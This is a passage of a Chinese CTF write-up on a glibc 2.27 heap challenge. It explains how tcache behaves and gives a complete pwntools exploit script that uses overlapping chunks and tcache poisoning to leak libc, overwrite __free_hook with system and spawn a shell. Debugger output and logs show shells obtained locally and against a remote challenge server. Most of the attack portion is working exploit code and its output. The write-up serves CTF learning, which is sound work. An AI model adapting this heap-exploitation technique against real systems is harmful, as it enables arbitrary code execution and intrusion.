...
 RDI  0x555555604470 ◂— '/bin/sh\n'
*RSI  0x55555540108b ◂— mov    eax, 0xa
 R8   0x0
...
─────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────
...
   0x7ffff7a79bf0 <free+736>    mov    rsi, qword ptr [rsp + 0x68]
 ► 0x7ffff7a79bf5 <free+741>    call   rax                           <system>
        command: 0x555555604470 ◂— '/bin/sh\n'

...
───────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────
In file: /usr/src/glibc/glibc-2.27/malloc/malloc.c
   3099
   3100   void (*hook) (void *, const void *)
   3101     = atomic_forced_read (__free_hook);
   3102   if (__builtin_expect (hook != NULL, 0))
   3103     {
 ► 3104       (*hook)(mem, RETURN_ADDRESS (0));
   3105       return;
   3106     }
   3107
   3108   if (mem == 0)                              /* free(0) has no effect */
   3109     return;

'''

io.interactive()

Tcache

基本情况

  • 大小范围(多大的块会被放入到tcache bin中): 小于0x408大小的块
  • 单个链上限: 7个块,超过七个按照对应的大小放入到fastbin,smallbin,largebin,unsortedbin中
  • chunk入链出链顺序 : LIFO,先入后出,最先进入Tcachebin链表的块最后出链表

在链表中每个堆块的FD指向前一个空闲的堆块,BK均指向管理堆块(具体有没有专门的叫法现在还不知道)的开始位置,管理堆块中有个head指针,始终指向最近的一个最新释放出来的堆块,chunk0FD==0,出链时,将chunk3的指针返回给应用程序修改head指针指向chunk2的FD位置,堆中的数据新的申请返回指针之后无变化.

单链管理结构如下(释放顺序:chunk0->chunk1->chunk2->chunk3)

在这里插入图片描述

解题脚本

由于这个题自己看大佬的方法做的,然后自己按照自己的想法又实现了一遍,下面的是我自己的脚本,自己实现一遍才能对这个方法彻底的掌握,并且能够知道其中的细节问题,包括各种情况下为什么要那样去布局堆空间,如何利用,如何绕过tcachebin,如何利用tachebin,如何操作能避免触发malloc和free的检测机制导致报错

from pwn import *
from LibcSearcher import *

# context.terminal = ['bash', '-x', 'sh', '-c']
# context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'

io = process("./pwn_no_alarm")
# io = remote("61.147.171.105",62211)
elf = ELF("./pwn_no_alarm")

# libc = ELF("./libc-2.27.so")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")


# gdb.attach(io,"b * $rebase(0xf0d)\nb * $rebase(0x1111)\nb * $rebase(0x12a3)\nb * $rebase(0xD16)\nb * $rebase(0x1086)")
io.recvuntil("input manager name:")
io.sendline("CTFM")
io.recvuntil("input password:")
io.sendline("123456")


def add_node(topic_name,des_size,topic_des,topic_score):
    io.recvuntil("your choice>>")
    io.send("1")
    io.recvuntil("topic name:")
    io.sendline(topic_name)
    io.recvuntil("des size:")
    io.sendline(str(des_size))
    io.recvuntil("topic des:")
    io.sendline(topic_des)
    io.recvuntil("topic score:")
    io.sendline(str(topic_score))

def del_node(node_index):
    io.recvuntil("your choice>>")
    io.sendline("2")
    io.recvuntil("index:")
    io.sendline(str(node_index))

def show_node(node_index):
    io.recvuntil("your choice>>")
    io.sendline("3")
    io.recvuntil("index:")
    io.sendline(str(node_index))


pause()
add_node("test",0x28,"aaaaaaaa",30)   # chunk0

add_node("test",0x1e8,"bbbbbbbb",30)     # chunk1

add_node("test",0x1b8,"wwwwwwww",30)   # chunk2
del_node(2)    # 这里放一个tcache和前面的不一样大小用来记录前一个堆块的大小和后期合并使用

#####################################
for i in range(7):    
    add_node("test",0x1e8,"zzzzzzzz",30)      # chunk2 -> chunk8
for i in range(7):
    del_node(i+2)                             # chunk2 -> chunk8
#####################################
del_node(1)                                   # 释放chunk1给下面这个大小的内容从里面分配做准备

add_node("test",0xf8,"cccccccc",30)           # chunk1
#####################################
for i in range(7):    
    add_node("test",0xf8,"zzzzzzzz",30)       # chunk2 -> chunk8
for i in range(7):
    del_node(i+2)                             # chunk2 -> chunk8
#####################################

add_node("test",0xe8,"dddddddd",30)           # chunk2
#####################################
for i in range(7):    
    add_node("test",0xe8,"zzzzzzzz",30)       # chunk3 -> chunk9
for i in range(7):
    del_node(i+3)                             # chunk3 -> chunk9
#####################################



del_node(1)      # free chunk2
del_node(2)      # free chunk1
del_node(0)      # free chunk0

payload = b"t"*0x28
add_node("test",0x28,payload,30)   # chunk0
del_node(0)



add_node("test",0x88,"eeeeeeee",30)      # chunk0
add_node("test",0x68,"\x00",30)      # chunk1
#####################################
for i in range(7):    
    add_node("test",0x88,"zzzzzzzz",30)       # chunk2 -> chunk8
for i in range(7):
    del_node(i+2)                             # chunk2 -> chunk8
#####################################
    
del_node(0)         #  这里需要删除一下把这个块的大小写到下一个块的pre_size的位置,否则unlink之前的一步会报错
del_node(1)        # 将chunk1放入tcachebin中,
# 这样下面合并的时候会把这部分堆块包含进去同时他又在 tcachebins[0x60][0/1]中,造成堆块的重叠

add_node("test",0x1b8,"wwwwwwww",30)     # chunk0
#####################################
for i in range(7):    
    add_node("test",0x1b8,"zzzzzzzz",30)       # chunk1 -> chunk7
for i in range(7):
    del_node(i+1)                             # chunk1 -> chunk7
#####################################

del_node(0)     # 此处无法保证前一个chunk的大小等于当前堆块的prev_size,报错(已解决参考最近一次删除chunk0)



add_node("test",0x68,"\x00",30)      # chunk0     tcache
for i in range(7):    
    add_node("test",0x88,"zzzzzzzz",30)       # chunk1 -> chunk7

add_node("test",0x88,"\x00",30)      # chunk8
show_node(0)
io.recvuntil("topic des:")
leak_addr = u64(io.recv(6).ljust(8,b"\x00"))
log.success("Get leak_addr -> "+ hex(leak_addr))
malloc_hook = leak_addr - 0x70
log.success("Get malloc_hook -> "+ hex(malloc_hook))
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
log.success("Get free_hook -> "+ hex(free_hook))
log.success("Get system_addr -> "+ hex(system_addr))


pause()

for i in range(7):       # free chunk1 ~ chunk7
    del_node(i+1)   

del_node(8)     # free chunk8
payload = b"h"*0x10*8 + p64(0xdeadbeefdeadbeef) + p64(0x71)
add_node("test",0xa8,payload,30)      # chunk1

del_node(0)     # free chunk0

del_node(1)

payload = b"h"*0x10*9 + p64(free_hook)
add_node("test",0xa8,payload,30)      # chunk0

 
payload = b"/bin/sh\x00"
add_node("test",0x48,payload,30)      # chunk1

add_node("test",0x68,"\x00",30)      # chunk2     tcache

payload = p64(system_addr)
'''
pwndbg> bins
tcachebins
0x30 [  1]: 0x555555604260 ◂— 0x0
0x70 [  0]: 0x7ffff7dcf8e8 (__free_hook) ◂— ...
'''
add_node("test",0x68,payload,30)      # chunk3     in free_hook



'''
pwndbg> x/10xg &__free_hook
0x7ffff7dcf8e8 <__free_hook>:   0x00007ffff7a31420  0x0000000000000000

pwndbg> x/10i *__free_hook
   0x7ffff7a31420 <__libc_system>:  test   rdi,rdi
   0x7ffff7a31423 <__libc_system+3>:    je     0x7ffff7a31430 <__libc_system+16>
   0x7ffff7a31425 <__libc_system+5>:    jmp    0x7ffff7a30e90 <do_system>
   0x7ffff7a3142a <__libc_system+10>:   nop    WORD PTR [rax+rax*1+0x0]
   0x7ffff7a31430 <__libc_system+16>:   lea    rdi,[rip+0x164959]        # 0x7ffff7b95d90
...
'''

del_node(1)

io.interactive()

此处留一个以后的任务

这个题目相对比较综合,所以通过这个题可以锻炼自己的基础知识掌握程度,后面找时间再做一次,基于libc2.23,这样去掉tcachebin的影响,更加专注的去布局和利用堆空间,现在对已有的方法还有印象,等过段时间记不清了,再尝试一下

基于Libc.23的利用

libc2.23脚本


执行情况

本地shell

[DEBUG] Sent 0x2 bytes:
    b'0\n'
[DEBUG] Received 0xd3 bytes:
    b'+------------ MENU ------------+\n'
    b'| [1] Add Topic                |\n'
    b'| [2] Delete Topic             |\n'
    b'| [3] show Topic               |\n'
    b'| [4] Quit                     |\n'
    b'+------------------------------+\n'
    b'your choice>>'
[DEBUG] Sent 0x2 bytes:
    b'2\n'
[DEBUG] Received 0x6 bytes:
    b'index:'
[DEBUG] Sent 0x2 bytes:
    b'3\n'
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x1a bytes:
    b'flag{Congratulations!!!}\n'
    b'\n'
flag{Congratulations!!!}

远程shell

[DEBUG] Received 0x21 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'pwn\n'
bin
dev
flag
lib
lib32
lib64
pwn
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x27 bytes:
    b'flag{e322a6bef93f857e5cba6b4778d5faee}\n'
flag{e322a6bef93f857e5cba6b4778d5faee}

关于配置源码调试

首先源里面要有deb-src

root@kali:~# cat /etc/apt/sources.list

deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib

安装源代码

方法一
apt install libc6-dbg  
apt install libc6-dbg:i386
apt source libc6-dev
方法二:
apt install glibc-source
tar xvf glibc-2.23.tar.xz

方案三
# 其他版本 https://launchpad.net/ubuntu/+source/glibc/2.21-0ubuntu4
# 如32位,此处安装的是64位
sudo apt-get install libc6-dbg
sudo apt-get source libc6-dev # sources.list 中dbkg-src的作用,下载源码

其实可以看出关键的部分几本意思是相同的

给GDB指定路径

directory /usr/src/glibc/glibc-2.27/malloc/
directory /usr/src/glibc/glibc-2.27/malloc:/usr/src/glibc/glibc-2.27/elf
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值